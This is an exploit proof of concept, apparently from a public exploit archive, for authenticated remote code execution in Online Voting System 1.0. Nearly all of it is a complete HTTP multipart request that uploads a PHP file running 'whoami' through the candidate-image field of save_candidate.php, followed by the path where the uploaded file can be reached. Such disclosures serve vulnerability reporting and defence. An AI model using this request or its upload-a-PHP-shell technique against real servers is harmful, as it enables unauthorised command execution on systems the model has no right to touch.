Online Voting System 1.0 – Remote Code Execution (Authenticated)
# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated) # Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker # Date 30.06.2021 # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html # Version 1.0 # Tested on: Ubuntu 20.04 #################### # Proof of Concept # #################### POST /Online_voting_system/admin/save_candidate.php HTTP/1.1 Host: localhost Content-Length: 1253 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4G9QRpniTS7gPVqW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/Online_voting_system/admin/new_candidate.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a Connection: close ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="user_name" admin ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="rfirstname" test ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="rlastname" test ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="rgender" Male ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="ryear" 1st year ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="rmname" test ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="rposition" Governor ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="party" test ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="image"; filename="test.php" Content-Type: application/octet-stream <?php echo exec("whoami"); ?> ------WebKitFormBoundary4G9QRpniTS7gPVqW Content-Disposition: form-data; name="save" ------WebKitFormBoundary4G9QRpniTS7gPVqW-- ######## # Note # ######## Uploaded file will be available at http://localhost/Online_voting_system/admin/upload/ |